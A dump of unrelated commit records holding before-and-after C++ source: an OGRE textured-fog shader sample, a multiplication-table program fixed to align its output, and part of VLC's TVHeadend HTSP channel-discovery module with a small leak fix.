vsMain->resolveOutputParameter(Parameter::SPC_POSITION_VIEW_SPACE);\n if (mVSOutPosView.get() == NULL)\n return false;\n \n \/\/ Resolve pixel shader input depth.\n mPSInPosView = psMain->resolveInputParameter(mVSOutPosView);\n if (mPSInPosView.get() == NULL)\n return false; \n \n \/\/ Resolve vertex shader output depth. \n mVSOutDepth = vsMain->resolveOutputParameter(Parameter::SPC_DEPTH_VIEW_SPACE);\n if (mVSOutDepth.get() == NULL)\n return false;\n \n \/\/ Resolve pixel shader input depth.\n mPSInDepth = psMain->resolveInputParameter(mVSOutDepth);\n if (mPSInDepth.get() == NULL)\n return false; \n\n \/\/ Resolve texture sampler parameter. \n mBackgroundTextureSampler = psProgram->resolveParameter(GCT_SAMPLERCUBE, mBackgroundSamplerIndex, (uint16)GPV_GLOBAL, \"FogBackgroundSampler\");\n if (mBackgroundTextureSampler.get() == NULL)\n return false;\n \n \n return true;\n}\n\n\/\/-----------------------------------------------------------------------\nbool RTShaderSRSTexturedFog::resolveDependencies(ProgramSet* programSet)\n{\n if (mFogMode == FOG_NONE)\n return true;\n\n Program* vsProgram = programSet->getCpuProgram(GPT_VERTEX_PROGRAM);\n Program* psProgram = programSet->getCpuProgram(GPT_FRAGMENT_PROGRAM);\n\n vsProgram->addDependency(FFP_LIB_FOG);\n psProgram->addDependency(FFP_LIB_COMMON);\n\n psProgram->addDependency(FFP_LIB_FOG);\n psProgram->addDependency(FFP_LIB_TEXTURING);\n \n return true;\n}\n\n\/\/-----------------------------------------------------------------------\nbool RTShaderSRSTexturedFog::addFunctionInvocations(ProgramSet* programSet)\n{\n if (mFogMode == FOG_NONE)\n return true;\n\n Program* vsProgram = programSet->getCpuProgram(GPT_VERTEX_PROGRAM);\n Program* psProgram = programSet->getCpuProgram(GPT_FRAGMENT_PROGRAM);\n Function* vsMain = vsProgram->getEntryPointFunction();\n Function* psMain = psProgram->getEntryPointFunction();\n\n vsMain->getStage(FFP_VS_FOG)\n .callFunction(FFP_FUNC_PIXELFOG_POSITION_DEPTH,\n {In(mWorldMatrix), In(mCameraPos), In(mVSInPos), Out(mVSOutPosView), Out(mVSOutDepth)});\n\n auto psStage = psMain->getStage(FFP_PS_FOG);\n psStage.sampleTexture(mBackgroundTextureSampler, mPSInPosView, mFogColour);\n\n const char* fogFunc = NULL;\n switch (mFogMode)\n {\n case FOG_LINEAR:\n fogFunc = FFP_FUNC_PIXELFOG_LINEAR;\n break;\n case FOG_EXP:\n fogFunc = FFP_FUNC_PIXELFOG_EXP;\n break;\n case FOG_EXP2:\n fogFunc = FFP_FUNC_PIXELFOG_EXP2;\n break;\n case FOG_NONE:\n break;\n }\n\n psStage.callFunction(fogFunc,\n {In(mPSInDepth), In(mFogParams), In(mFogColour), In(mPSOutDiffuse), Out(mPSOutDiffuse)});\n return true;\n}\n\n\/\/-----------------------------------------------------------------------\nvoid RTShaderSRSTexturedFog::copyFrom(const SubRenderState& rhs)\n{\n const RTShaderSRSTexturedFog& rhsFog = static_cast<const RTShaderSRSTexturedFog&>(rhs);\n\n mFogMode = rhsFog.mFogMode;\n mFogParamsValue = rhsFog.mFogParamsValue;\n mFactory = rhsFog.mFactory;\n}\n\n\/\/-----------------------------------------------------------------------\nbool RTShaderSRSTexturedFog::preAddToRenderState(const RenderState* renderState, Pass* srcPass, Pass* dstPass)\n{ \n if (mFactory == NULL)\n return false;\n\n FogMode fogMode;\n ColourValue newFogColour;\n Real newFogStart, newFogEnd, newFogDensity;\n\n if (srcPass->getFogOverride())\n {\n fogMode = srcPass->getFogMode();\n newFogStart = srcPass->getFogStart();\n newFogEnd = srcPass->getFogEnd();\n newFogDensity = srcPass->getFogDensity();\n mPassOverrideParams = true;\n }\n else\n {\n SceneManager* sceneMgr = ShaderGenerator::getSingleton().getActiveSceneManager();\n \n if (sceneMgr == NULL)\n {\n fogMode = FOG_NONE;\n newFogStart = 0.0;\n newFogEnd = 0.0;\n newFogDensity = 0.0;\n }\n else\n {\n fogMode = sceneMgr->getFogMode();\n newFogStart = sceneMgr->getFogStart();\n newFogEnd = sceneMgr->getFogEnd();\n newFogDensity = sceneMgr->getFogDensity(); \n }\n mPassOverrideParams = false;\n }\n\n \/\/ Set fog properties.\n setFogProperties(fogMode, newFogStart, newFogEnd, newFogDensity);\n \n \n \/\/ Override scene fog since it will happen in shader.\n dstPass->setFog(true, FOG_NONE, ColourValue::White, newFogDensity, newFogStart, newFogEnd); \n\n TextureUnitState* tus = dstPass->createTextureUnitState(mFactory->getBackgroundTextureName());\n tus->setCubicTextureName(mFactory->getBackgroundTextureName(), true);\n mBackgroundSamplerIndex = dstPass->getNumTextureUnitStates() - 1;\n\n return true;\n}\n\n\/\/-----------------------------------------------------------------------\nvoid RTShaderSRSTexturedFog::setFogProperties(FogMode fogMode, \n float fogStart, \n float fogEnd, \n float fogDensity)\n{\n mFogMode = fogMode;\n mFogParamsValue.x = fogDensity;\n mFogParamsValue.y = fogStart;\n mFogParamsValue.z = fogEnd;\n mFogParamsValue.w = fogEnd != fogStart ? 1 \/ (fogEnd - fogStart) : 0; \n}\n\n\/\/-----------------------------------------------------------------------\nconst String& RTShaderSRSTexturedFogFactory::getType() const\n{\n return RTShaderSRSTexturedFog::Type;\n}\n\n\/\/-----------------------------------------------------------------------\nSubRenderState* RTShaderSRSTexturedFogFactory::createInstanceImpl()\n{\n return OGRE_NEW RTShaderSRSTexturedFog(this);\n}\n<commit_msg>Samples: TexturedFog - fix errors with strict mode<commit_after>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n(Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2014 Torus Knot Software Ltd\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#include \"RTShaderSRSTexturedFog.h\"\n#include \"OgreShaderFFPRenderState.h\"\n#include \"OgreShaderProgram.h\"\n#include \"OgreShaderParameter.h\"\n#include \"OgreShaderProgramSet.h\"\n#include \"OgreGpuProgram.h\"\n#include \"OgrePass.h\"\n#include \"OgreShaderGenerator.h\"\n#include \"OgreTextureManager.h\"\n\n#define FFP_FUNC_PIXELFOG_POSITION_DEPTH \"FFP_PixelFog_PositionDepth\"\n\nusing namespace Ogre;\nusing namespace RTShader;\n\/************************************************************************\/\n\/* *\/\n\/************************************************************************\/\nString RTShaderSRSTexturedFog::Type = \"TexturedFog\";\n\n\/\/-----------------------------------------------------------------------\nRTShaderSRSTexturedFog::RTShaderSRSTexturedFog(RTShaderSRSTexturedFogFactory* factory)\n{\n mFactory = factory;\n mFogMode = FOG_NONE;\n mPassOverrideParams = false;\n}\n\n\/\/-----------------------------------------------------------------------\nconst String& RTShaderSRSTexturedFog::getType() const\n{\n return Type;\n}\n\n\n\/\/-----------------------------------------------------------------------\nint RTShaderSRSTexturedFog::getExecutionOrder() const\n{\n return FFP_FOG;\n}\n\/\/-----------------------------------------------------------------------\nvoid RTShaderSRSTexturedFog::updateGpuProgramsParams(Renderable* rend, Pass* pass, const AutoParamDataSource* source, \n const LightList* pLightList)\n{ \n if (mFogMode == FOG_NONE)\n return;\n\n FogMode fogMode;\n Real newFogStart, newFogEnd, newFogDensity;\n\n \/\/Check if this is an overlay element if so disable fog \n if ((rend->getUseIdentityView() == true) && (rend->getUseIdentityProjection() == true))\n {\n fogMode = FOG_NONE;\n newFogStart = 100000000;\n newFogEnd = 200000000;\n newFogDensity = 0;\n }\n else\n {\n if (mPassOverrideParams)\n {\n fogMode = pass->getFogMode();\n newFogStart = pass->getFogStart();\n newFogEnd = pass->getFogEnd();\n newFogDensity = pass->getFogDensity();\n }\n else\n {\n SceneManager* sceneMgr = ShaderGenerator::getSingleton().getActiveSceneManager();\n \n fogMode = sceneMgr->getFogMode();\n newFogStart = sceneMgr->getFogStart();\n newFogEnd = sceneMgr->getFogEnd();\n newFogDensity = sceneMgr->getFogDensity(); \n }\n }\n\n \/\/ Set fog properties.\n setFogProperties(fogMode, newFogStart, newFogEnd, newFogDensity);\n\n mFogParams->setGpuParameter(mFogParamsValue);\n}\n\n\/\/-----------------------------------------------------------------------\nbool RTShaderSRSTexturedFog::resolveParameters(ProgramSet* programSet)\n{\n if (mFogMode == FOG_NONE)\n return true;\n\n Program* vsProgram = programSet->getCpuProgram(GPT_VERTEX_PROGRAM);\n Program* psProgram = programSet->getCpuProgram(GPT_FRAGMENT_PROGRAM);\n Function* vsMain = vsProgram->getEntryPointFunction();\n Function* psMain = psProgram->getEntryPointFunction();\n\n\n \/\/ Resolve world view matrix.\n mWorldMatrix = vsProgram->resolveParameter(GpuProgramParameters::ACT_WORLD_MATRIX);\n if (mWorldMatrix.get() == NULL)\n return false;\n \n \/\/ Resolve world view matrix.\n mCameraPos = vsProgram->resolveParameter(GpuProgramParameters::ACT_CAMERA_POSITION);\n if (mCameraPos.get() == NULL)\n return false;\n \n \/\/ Resolve vertex shader input position.\n mVSInPos = vsMain->resolveInputParameter(Parameter::SPC_POSITION_OBJECT_SPACE);\n if (mVSInPos.get() == NULL)\n return false;\n\n \/\/ Resolve fog colour.\n mFogColour = psMain->resolveLocalParameter(\"FogColor\", GCT_FLOAT4);\n if (mFogColour.get() == NULL)\n return false;\n \n \/\/ Resolve pixel shader output diffuse color.\n mPSOutDiffuse = psMain->resolveOutputParameter(Parameter::SPC_COLOR_DIFFUSE);\n if (mPSOutDiffuse.get() == NULL) \n return false;\n \n \/\/ Resolve fog params. \n mFogParams = psProgram->resolveParameter(GCT_FLOAT4, -1, (uint16)GPV_GLOBAL, \"gFogParams\");\n if (mFogParams.get() == NULL)\n return false;\n\n \/\/ Resolve vertex shader output depth. \n mVSOutPosView = vsMain->resolveOutputParameter(Parameter::SPC_POSITION_VIEW_SPACE);\n if (mVSOutPosView.get() == NULL)\n return false;\n \n \/\/ Resolve pixel shader input depth.\n mPSInPosView = psMain->resolveInputParameter(mVSOutPosView);\n if (mPSInPosView.get() == NULL)\n return false; \n \n \/\/ Resolve vertex shader output depth. \n mVSOutDepth = vsMain->resolveOutputParameter(Parameter::SPC_DEPTH_VIEW_SPACE);\n if (mVSOutDepth.get() == NULL)\n return false;\n \n \/\/ Resolve pixel shader input depth.\n mPSInDepth = psMain->resolveInputParameter(mVSOutDepth);\n if (mPSInDepth.get() == NULL)\n return false; \n\n \/\/ Resolve texture sampler parameter. \n mBackgroundTextureSampler = psProgram->resolveParameter(GCT_SAMPLERCUBE, mBackgroundSamplerIndex, (uint16)GPV_GLOBAL, \"FogBackgroundSampler\");\n if (mBackgroundTextureSampler.get() == NULL)\n return false;\n \n \n return true;\n}\n\n\/\/-----------------------------------------------------------------------\nbool RTShaderSRSTexturedFog::resolveDependencies(ProgramSet* programSet)\n{\n if (mFogMode == FOG_NONE)\n return true;\n\n Program* vsProgram = programSet->getCpuProgram(GPT_VERTEX_PROGRAM);\n Program* psProgram = programSet->getCpuProgram(GPT_FRAGMENT_PROGRAM);\n\n vsProgram->addDependency(FFP_LIB_FOG);\n psProgram->addDependency(FFP_LIB_COMMON);\n\n psProgram->addDependency(FFP_LIB_FOG);\n psProgram->addDependency(FFP_LIB_TEXTURING);\n \n return true;\n}\n\n\/\/-----------------------------------------------------------------------\nbool RTShaderSRSTexturedFog::addFunctionInvocations(ProgramSet* programSet)\n{\n if (mFogMode == FOG_NONE)\n return true;\n\n Program* vsProgram = programSet->getCpuProgram(GPT_VERTEX_PROGRAM);\n Program* psProgram = programSet->getCpuProgram(GPT_FRAGMENT_PROGRAM);\n Function* vsMain = vsProgram->getEntryPointFunction();\n Function* psMain = psProgram->getEntryPointFunction();\n\n vsMain->getStage(FFP_VS_FOG)\n .callFunction(FFP_FUNC_PIXELFOG_POSITION_DEPTH,\n {In(mWorldMatrix), In(mCameraPos), In(mVSInPos), Out(mVSOutPosView), Out(mVSOutDepth)});\n\n auto psStage = psMain->getStage(FFP_PS_FOG);\n psStage.sampleTexture(mBackgroundTextureSampler, mPSInPosView, mFogColour);\n\n const char* fogFunc = NULL;\n switch (mFogMode)\n {\n case FOG_LINEAR:\n fogFunc = FFP_FUNC_PIXELFOG_LINEAR;\n break;\n case FOG_EXP:\n fogFunc = FFP_FUNC_PIXELFOG_EXP;\n break;\n case FOG_EXP2:\n fogFunc = FFP_FUNC_PIXELFOG_EXP2;\n break;\n case FOG_NONE:\n break;\n }\n\n psStage.callFunction(fogFunc,\n {In(mPSInDepth), In(mFogParams), In(mFogColour), In(mPSOutDiffuse), Out(mPSOutDiffuse)});\n return true;\n}\n\n\/\/-----------------------------------------------------------------------\nvoid RTShaderSRSTexturedFog::copyFrom(const SubRenderState& rhs)\n{\n const RTShaderSRSTexturedFog& rhsFog = static_cast<const RTShaderSRSTexturedFog&>(rhs);\n\n mFogMode = rhsFog.mFogMode;\n mFogParamsValue = rhsFog.mFogParamsValue;\n mFactory = rhsFog.mFactory;\n}\n\n\/\/-----------------------------------------------------------------------\nbool RTShaderSRSTexturedFog::preAddToRenderState(const RenderState* renderState, Pass* srcPass, Pass* dstPass)\n{ \n if (mFactory == NULL)\n return false;\n\n FogMode fogMode;\n ColourValue newFogColour;\n Real newFogStart, newFogEnd, newFogDensity;\n\n if (srcPass->getFogOverride())\n {\n fogMode = srcPass->getFogMode();\n newFogStart = srcPass->getFogStart();\n newFogEnd = srcPass->getFogEnd();\n newFogDensity = srcPass->getFogDensity();\n mPassOverrideParams = true;\n }\n else\n {\n SceneManager* sceneMgr = ShaderGenerator::getSingleton().getActiveSceneManager();\n \n if (sceneMgr == NULL)\n {\n fogMode = FOG_NONE;\n newFogStart = 0.0;\n newFogEnd = 0.0;\n newFogDensity = 0.0;\n }\n else\n {\n fogMode = sceneMgr->getFogMode();\n newFogStart = sceneMgr->getFogStart();\n newFogEnd = sceneMgr->getFogEnd();\n newFogDensity = sceneMgr->getFogDensity(); \n }\n mPassOverrideParams = false;\n }\n\n \/\/ Set fog properties.\n setFogProperties(fogMode, newFogStart, newFogEnd, newFogDensity);\n \n \n \/\/ Override scene fog since it will happen in shader.\n dstPass->setFog(true, FOG_NONE, ColourValue::White, newFogDensity, newFogStart, newFogEnd); \n\n TextureUnitState* tus = dstPass->createTextureUnitState();\n auto tex = TextureManager::getSingleton().load(\n mFactory->getBackgroundTextureName(), RGN_DEFAULT, TEX_TYPE_CUBE_MAP);\n tus->setTexture(tex);\n mBackgroundSamplerIndex = dstPass->getNumTextureUnitStates() - 1;\n\n return true;\n}\n\n\/\/-----------------------------------------------------------------------\nvoid RTShaderSRSTexturedFog::setFogProperties(FogMode fogMode, \n float fogStart, \n float fogEnd, \n float fogDensity)\n{\n mFogMode = fogMode;\n mFogParamsValue.x = fogDensity;\n mFogParamsValue.y = fogStart;\n mFogParamsValue.z = fogEnd;\n mFogParamsValue.w = fogEnd != fogStart ? 1 \/ (fogEnd - fogStart) : 0; \n}\n\n\/\/-----------------------------------------------------------------------\nconst String& RTShaderSRSTexturedFogFactory::getType() const\n{\n return RTShaderSRSTexturedFog::Type;\n}\n\n\/\/-----------------------------------------------------------------------\nSubRenderState* RTShaderSRSTexturedFogFactory::createInstanceImpl()\n{\n return OGRE_NEW RTShaderSRSTexturedFog(this);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <iomanip>\nusing namespace std;\n\nint main(int argc, char *argv[])\n{\n cout << \"|\";\n for (int x = 1; x<=12; ++x)\n {\n cout <<x <<\"|\";\n \n }\n cout << endl;\n\n for( int x = 0; x<=12; ++x)\n {\n cout << \"+\";\n }\n cout << endl;\n\n for( int y = 1; y<=12; ++y)\n {\n cout<< y << \"|\";\n\n for (int x=1; x<=12; ++x)\n {\n cout<<x*y << \"|\";\n }\n cout<< endl;\n\n for(int x =0; x<=12; ++x)\n {\n cout << \"----+\";\n }\n cout <<endl;\n }\n\n}\n<commit_msg>fixed output off xtable.closes #35<commit_after>#include <iostream>\n#include <iomanip>\nusing namespace std;\n\nint main(int argc, char *argv[])\n{\n cout << \" |\";\n for (int x = 1; x<=12; ++x)\n {\n cout <<setw(5)<< x <<\"|\";\n \n }\n cout << endl;\n\n for( int x = 0; x<=12; ++x)\n {\n cout << \"-----+\";\n }\n cout << endl;\n\n for( int y = 1; y<=12; ++y)\n {\n cout<<setw(5)<< y << \"|\";\n\n for (int x=1; x<=12; ++x)\n {\n cout<<setw(5)<<x*y << \"|\";\n }\n cout<< endl;\n\n for(int x =0; x<=12; ++x)\n {\n cout << \"-----+\";\n }\n cout <<endl;\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n * Copyright (C) 2012\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#define __STDC_CONSTANT_MACROS 1\n\n#include <vlc_common.h>\n#include <vlc_plugin.h>\n#include <vlc_network.h>\n#include <vlc_services_discovery.h>\n\n#include <functional>\n#include <unordered_map>\n#include <sstream>\n\n#include \"discovery.h\"\n#include \"helper.h\"\n#include \"htsmessage.h\"\n#include \"sha1.h\"\n\nstruct tmp_channel\n{\n std::string name;\n uint32_t cid;\n uint32_t cnum;\n std::string url;\n input_item_t *item;\n std::list<std::string> tags;\n};\n\nstruct services_discovery_sys_t : public sys_common_t\n{\n services_discovery_sys_t()\n :thread(0)\n {}\n\n vlc_thread_t thread;\n std::unordered_map<uint32_t, tmp_channel> channelMap;\n};\n\nbool ConnectSD(services_discovery_t *sd)\n{\n services_discovery_sys_t *sys = sd->p_sys;\n\n const char *host = var_GetString(sd, CFG_PREFIX\"host\");\n int port = var_GetInteger(sd, CFG_PREFIX\"port\");\n\n if(host == 0 || host[0] == 0)\n host = \"localhost\";\n\n if(port == 0)\n port = 9982;\n\n sys->netfd = net_ConnectTCP(sd, host, port);\n\n if(sys->netfd < 0)\n {\n msg_Err(sd, \"net_ConnectTCP failed\");\n return false;\n }\n\n HtsMap map;\n map.setData(\"method\", \"hello\");\n map.setData(\"clientname\", \"VLC media player\");\n map.setData(\"htspversion\", HTSP_PROTO_VERSION);\n\n HtsMessage m = ReadResult(sd, sys, map.makeMsg());\n if(!m.isValid())\n {\n msg_Err(sd, \"No valid hello response\");\n return false;\n }\n\n uint32_t chall_len;\n void * chall;\n m.getRoot()->getBin(\"challenge\", &chall_len, &chall);\n\n std::string serverName = m.getRoot()->getStr(\"servername\");\n std::string serverVersion = m.getRoot()->getStr(\"serverversion\");\n uint32_t protoVersion = m.getRoot()->getU32(\"htspversion\");\n\n msg_Info(sd, \"Connected to HTSP Server %s, version %s, protocol %d\", serverName.c_str(), serverVersion.c_str(), protoVersion);\n if(protoVersion < HTSP_PROTO_VERSION)\n {\n msg_Warn(sd, \"TVHeadend is running an older version of HTSP(v%d) than we are(v%d). No effort was made to keep compatible with older versions, update tvh before reporting problems!\", protoVersion, HTSP_PROTO_VERSION);\n }\n else if(protoVersion > HTSP_PROTO_VERSION)\n {\n msg_Info(sd, \"TVHeadend is running a more recent version of HTSP(v%d) than we are(v%d). Check if there is an update available!\", protoVersion, HTSP_PROTO_VERSION);\n }\n\n const char *user = var_GetString(sd, CFG_PREFIX\"user\");\n const char *pass = var_GetString(sd, CFG_PREFIX\"pass\");\n if(user == 0 || user[0] == 0)\n return true;\n\n map = HtsMap();\n map.setData(\"method\", \"authenticate\");\n map.setData(\"username\", user);\n\n if(pass != 0 && pass[0] != 0 && chall)\n {\n msg_Info(sd, \"Authenticating as '%s' with a password\", user);\n\n HTSSHA1 *shactx = (HTSSHA1*)malloc(hts_sha1_size);\n uint8_t d[20];\n hts_sha1_init(shactx);\n hts_sha1_update(shactx, (const uint8_t *)pass, strlen(pass));\n hts_sha1_update(shactx, (const uint8_t *)chall, chall_len);\n hts_sha1_final(shactx, d);\n\n std::shared_ptr<HtsBin> bin = std::make_shared<HtsBin>();\n bin->setBin(20, d);\n map.setData(\"digest\", bin);\n\n free(shactx);\n }\n else\n msg_Info(sd, \"Authenticating as '%s' without a password\", user);\n\n if(chall)\n free(chall);\n\n bool res = ReadSuccess(sd, sys, map.makeMsg(), \"authenticate\");\n if(res)\n msg_Info(sd, \"Successfully authenticated!\");\n else\n msg_Err(sd, \"Authentication failed!\");\n return res;\n}\n\nbool GetChannels(services_discovery_t *sd)\n{\n services_discovery_sys_t *sys = sd->p_sys;\n\n HtsMap map;\n map.setData(\"method\", \"enableAsyncMetadata\");\n if(!ReadSuccess(sd, sys, map.makeMsg(), \"enable async metadata\"))\n return false;\n\n std::list<uint32_t> channelIds;\n std::unordered_map<uint32_t, tmp_channel> channels;\n\n HtsMessage m;\n while((m = ReadMessage(sd, sys)).isValid())\n {\n std::string method = m.getRoot()->getStr(\"method\");\n if(method.empty() || method == \"initialSyncCompleted\")\n {\n msg_Info(sd, \"Finished getting initial metadata sync\");\n break;\n }\n\n if(method == \"channelAdd\")\n {\n if(!m.getRoot()->contains(\"channelId\"))\n continue;\n uint32_t cid = m.getRoot()->getU32(\"channelId\");\n\n std::string cname = m.getRoot()->getStr(\"channelName\");\n if(cname.empty())\n {\n std::ostringstream ss;\n ss << \"Channel \" << cid;\n cname = ss.str();\n }\n\n uint32_t cnum = m.getRoot()->getU32(\"channelNumber\");\n\n std::ostringstream oss;\n oss << \"htsp:\/\/\";\n\n char *user = var_GetString(sd, CFG_PREFIX\"user\");\n char *pass = var_GetString(sd, CFG_PREFIX\"pass\");\n if(user != 0 && user[0] != 0 && pass != 0 && pass[0] != 0)\n oss << user << \":\" << pass << \"@\";\n else if(user != 0 && user[0] != 0)\n oss << user << \"@\";\n\n const char *host = var_GetString(sd, CFG_PREFIX\"host\");\n if(host == 0 || host[0] == 0)\n host = \"localhost\";\n int port = var_GetInteger(sd, CFG_PREFIX\"port\");\n if(port == 0)\n port = 9982;\n oss << host << \":\" << port << \"\/\" << cid;\n\n channels[cid].name = cname;\n channels[cid].cid = cid;\n channels[cid].cnum = cnum;\n channels[cid].url = oss.str();\n\n channelIds.push_back(cid);\n }\n else if(method == \"tagAdd\" || method == \"tagUpdate\")\n {\n if(!m.getRoot()->contains(\"tagId\") || !m.getRoot()->contains(\"tagName\"))\n continue;\n\n std::string tagName = m.getRoot()->getStr(\"tagName\");\n\n std::shared_ptr<HtsList> chList = m.getRoot()->getList(\"members\");\n for(uint32_t i = 0; i < chList->count(); ++i)\n channels[chList->getData(i)->getU32()].tags.push_back(tagName);\n }\n }\n\n channelIds.sort([&](const uint32_t &first, const uint32_t &second) {\n return channels[first].cnum < channels[second].cnum;\n });\n\n while(channelIds.size() > 0)\n {\n tmp_channel ch = channels[channelIds.front()];\n channelIds.pop_front();\n\n ch.item = input_item_New(ch.url.c_str(), ch.name.c_str());\n if(unlikely(ch.item == 0))\n return false;\n\n ch.item->i_type = ITEM_TYPE_NET;\n for(std::string tag: ch.tags)\n services_discovery_AddItem(sd, ch.item, tag.c_str());\n\n services_discovery_AddItem(sd, ch.item, \"All Channels\");\n\n\n sys->channelMap[ch.cid] = ch;\n }\n\n return true;\n}\n\nvoid * RunSD(void *obj)\n{\n services_discovery_t *sd = (services_discovery_t *)obj;\n services_discovery_sys_t *sys = sd->p_sys;\n\n if(!ConnectSD(sd))\n {\n msg_Err(sd, \"Connecting to HTS Failed!\");\n return 0;\n }\n\n GetChannels(sd);\n\n for(;;)\n {\n HtsMessage msg = ReadMessage(sd, sys);\n if(!msg.isValid())\n return 0;\n\n std::string method = msg.getRoot()->getStr(\"method\");\n if(method.empty())\n return 0;\n\n msg_Dbg(sd, \"Got Message with method %s\", method.c_str());\n }\n\n return 0;\n}\n\nint OpenSD(vlc_object_t *obj)\n{\n services_discovery_t *sd = (services_discovery_t *)obj;\n services_discovery_sys_t *sys = new services_discovery_sys_t;\n if(unlikely(sys == NULL))\n return VLC_ENOMEM;\n sd->p_sys = sys;\n\n config_ChainParse(sd, CFG_PREFIX, cfg_options, sd->p_cfg);\n\n if(vlc_clone(&sys->thread, RunSD, sd, VLC_THREAD_PRIORITY_LOW))\n {\n delete sys;\n return VLC_EGENERIC;\n }\n\n return VLC_SUCCESS;\n}\n\nvoid CloseSD(vlc_object_t *obj)\n{\n services_discovery_t *sd = (services_discovery_t *)obj;\n services_discovery_sys_t *sys = sd->p_sys;\n\n if(!sys)\n return;\n\n if(sys->thread)\n {\n vlc_cancel(sys->thread);\n vlc_join(sys->thread, 0);\n sys->thread = 0;\n }\n\n delete sys;\n sys = sd->p_sys = 0;\n}\n<commit_msg>Fix a small leak<commit_after>\/*****************************************************************************\n * Copyright (C) 2012\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#define __STDC_CONSTANT_MACROS 1\n\n#include <vlc_common.h>\n#include <vlc_plugin.h>\n#include <vlc_network.h>\n#include <vlc_services_discovery.h>\n\n#include <functional>\n#include <unordered_map>\n#include <sstream>\n\n#include \"discovery.h\"\n#include \"helper.h\"\n#include \"htsmessage.h\"\n#include \"sha1.h\"\n\nstruct tmp_channel\n{\n std::string name;\n uint32_t cid;\n uint32_t cnum;\n std::string url;\n input_item_t *item;\n std::list<std::string> tags;\n};\n\nstruct services_discovery_sys_t : public sys_common_t\n{\n services_discovery_sys_t()\n :thread(0)\n {}\n\n vlc_thread_t thread;\n std::unordered_map<uint32_t, tmp_channel> channelMap;\n};\n\nbool ConnectSD(services_discovery_t *sd)\n{\n services_discovery_sys_t *sys = sd->p_sys;\n\n const char *host = var_GetString(sd, CFG_PREFIX\"host\");\n int port = var_GetInteger(sd, CFG_PREFIX\"port\");\n\n if(host == 0 || host[0] == 0)\n host = \"localhost\";\n\n if(port == 0)\n port = 9982;\n\n sys->netfd = net_ConnectTCP(sd, host, port);\n\n if(sys->netfd < 0)\n {\n msg_Err(sd, \"net_ConnectTCP failed\");\n return false;\n }\n\n HtsMap map;\n map.setData(\"method\", \"hello\");\n map.setData(\"clientname\", \"VLC media player\");\n map.setData(\"htspversion\", HTSP_PROTO_VERSION);\n\n HtsMessage m = ReadResult(sd, sys, map.makeMsg());\n if(!m.isValid())\n {\n msg_Err(sd, \"No valid hello response\");\n return false;\n }\n\n uint32_t chall_len;\n void * chall;\n m.getRoot()->getBin(\"challenge\", &chall_len, &chall);\n\n std::string serverName = m.getRoot()->getStr(\"servername\");\n std::string serverVersion = m.getRoot()->getStr(\"serverversion\");\n uint32_t protoVersion = m.getRoot()->getU32(\"htspversion\");\n\n msg_Info(sd, \"Connected to HTSP Server %s, version %s, protocol %d\", serverName.c_str(), serverVersion.c_str(), protoVersion);\n if(protoVersion < HTSP_PROTO_VERSION)\n {\n msg_Warn(sd, \"TVHeadend is running an older version of HTSP(v%d) than we are(v%d). No effort was made to keep compatible with older versions, update tvh before reporting problems!\", protoVersion, HTSP_PROTO_VERSION);\n }\n else if(protoVersion > HTSP_PROTO_VERSION)\n {\n msg_Info(sd, \"TVHeadend is running a more recent version of HTSP(v%d) than we are(v%d). Check if there is an update available!\", protoVersion, HTSP_PROTO_VERSION);\n }\n\n const char *user = var_GetString(sd, CFG_PREFIX\"user\");\n const char *pass = var_GetString(sd, CFG_PREFIX\"pass\");\n if(user == 0 || user[0] == 0)\n return true;\n\n map = HtsMap();\n map.setData(\"method\", \"authenticate\");\n map.setData(\"username\", user);\n\n if(pass != 0 && pass[0] != 0 && chall)\n {\n msg_Info(sd, \"Authenticating as '%s' with a password\", user);\n\n HTSSHA1 *shactx = (HTSSHA1*)malloc(hts_sha1_size);\n uint8_t d[20];\n hts_sha1_init(shactx);\n hts_sha1_update(shactx, (const uint8_t *)pass, strlen(pass));\n hts_sha1_update(shactx, (const uint8_t *)chall, chall_len);\n hts_sha1_final(shactx, d);\n\n std::shared_ptr<HtsBin> bin = std::make_shared<HtsBin>();\n bin->setBin(20, d);\n map.setData(\"digest\", bin);\n\n free(shactx);\n }\n else\n msg_Info(sd, \"Authenticating as 